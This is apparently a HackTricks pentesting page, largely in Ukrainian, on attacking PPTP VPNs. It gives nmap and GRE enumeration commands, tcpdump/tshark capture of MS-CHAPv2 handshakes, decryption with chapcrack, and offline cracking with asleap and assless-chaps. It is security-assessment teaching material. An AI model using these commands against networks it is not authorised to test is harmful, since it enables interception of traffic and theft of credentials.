1723 - Pentesting PPTP

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Базова інформація

Point-to-Point Tunneling Protocol (PPTP) — застарілий VPN тунельний протокол, що використовується для віддаленого доступу. Він використовує TCP port 1723 для контрольного каналу та IP protocol 47 (GRE) для передачі PPP-даних. Трафік всередині тунелю зазвичай захищений за допомогою MPPE, в той час як аутентифікація часто базується на MS-CHAPv2.

З точки зору атакуючого, цікаво зазвичай не сам контрольний зв’язок, а те, що capturing a PPTP/MS-CHAPv2 handshake can enable offline password or NT-hash recovery. Також пам’ятайте, що хост може відповідати на TCP/1723, хоча тунель все одно не працює, оскільки GRE (protocol 47) is filtered.

Порт за замовчуванням:1723

Перерахування

nmap -Pn -sSV -p1723 <IP>
nmap -Pn -sO --protocol 47 <IP>

Якщо ви підтвердите лише tcp/1723 і пропустите GRE, ви можете легко отримати хибне відчуття, що VPN доступний. Під час усунення неполадок або sniffing захопіть як керуючий, так і інкапсульований трафік:

sudo tcpdump -ni <iface> 'tcp port 1723 or gre' -w pptp-handshake.pcap
tshark -r pptp-handshake.pcap -Y 'pptp || gre || ppp || chap'

Brute Force

Примітки до атаки

Захоплення рукопотискання MS-CHAPv2

Для PPTP відповідним є обмін аутентифікацією PPP, який транспортується всередині GRE. У MS-CHAPv2 відповідь залежить від:

  • Сервер AuthenticatorChallenge
  • Клієнт Peer-Challenge
  • Ім’я користувача username
  • NT-Response

Це означає, що захоплення пакетів часто достатньо, щоб перевести атаку в офлайн. Якщо ви можете перехопити початкове з’єднання, попросити користувача перепідключитися або розміститися on-path, захопіть рукопотискання і витягніть challenge/response дані.

Корисні швидкі фільтри:

tshark -r pptp-handshake.pcap -Y 'chap'
tshark -r pptp-handshake.pcap -Y 'ppp and chap'

Розбір і дешифрування за допомогою chapcrack

chapcrack досі є одним із найзручніших способів обробки захоплення PPTP:

chapcrack.py parse -i pptp-handshake.pcap

Якщо ви відновите відповідний секретний матеріал, ви зможете розшифрувати захоплення пакетів PPTP:

chapcrack.py decrypt -i pptp-handshake.pcap -o pptp-decrypted.pcap -n <recovered_nt_hash_or_token>

Це особливо корисно, коли метою є не лише відновлення облікових даних, а й дешифрування сесії та аналіз трафіку після автентифікації.

Матеріал для злому challenge/response

Якщо ви вже витягли пару challenge/response, asleap все ще можна використовувати безпосередньо проти матеріалу PPTP/MS-CHAPv2:

asleap -C 58:16:d5:ac:4b:dc:e4:0f -R 50:ae:a3:0a:10:9e:28:f9:33:1b:44:b1:3d:9e:20:91:85:e8:2e:c3:c5:4c:00:23 -W /usr/share/wordlists/rockyou.txt

asleap also supports working from packet captures or precomputed lookup tables, but for PPTP assessments the most common workflow is:

  1. Захопити PPTP handshake
  2. Витягти challenge/response
  3. Запустити offline cracking з допомогою asleap, chapcrack або власного workflow

Recent tradecraft also includes NT-hash-first workflows such as assless-chaps, which recover the NT hash from MS-CHAPv2/NTLMv1 challenge-response material using a prepared hash database. This can be faster than conventional password cracking if you maintain a good NT-hash corpus:

./assless-chaps <challenge> <response> <hashes.db>

Це має значення, оскільки для PPTP відновлений NT hash сам по собі має оперативну цінність: як тільки його отримано, його можна використати для підтвердження crack-а, розшифрування захоплених записів і переходу до перевірок повторного використання в Windows-орієнтованому середовищі.

Protocol weakness summary

  • PPTP depends on a separate GRE data channel, so firewalls often expose tcp/1723 while silently breaking the tunnel.
  • MS-CHAPv2 security effectively collapses to recovering DES-derived material / NT-hash-equivalent secrets, making passive capture much more dangerous than with modern VPNs.
  • Even if the password is not immediately recovered, the handshake can usually be stored and attacked offline later.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks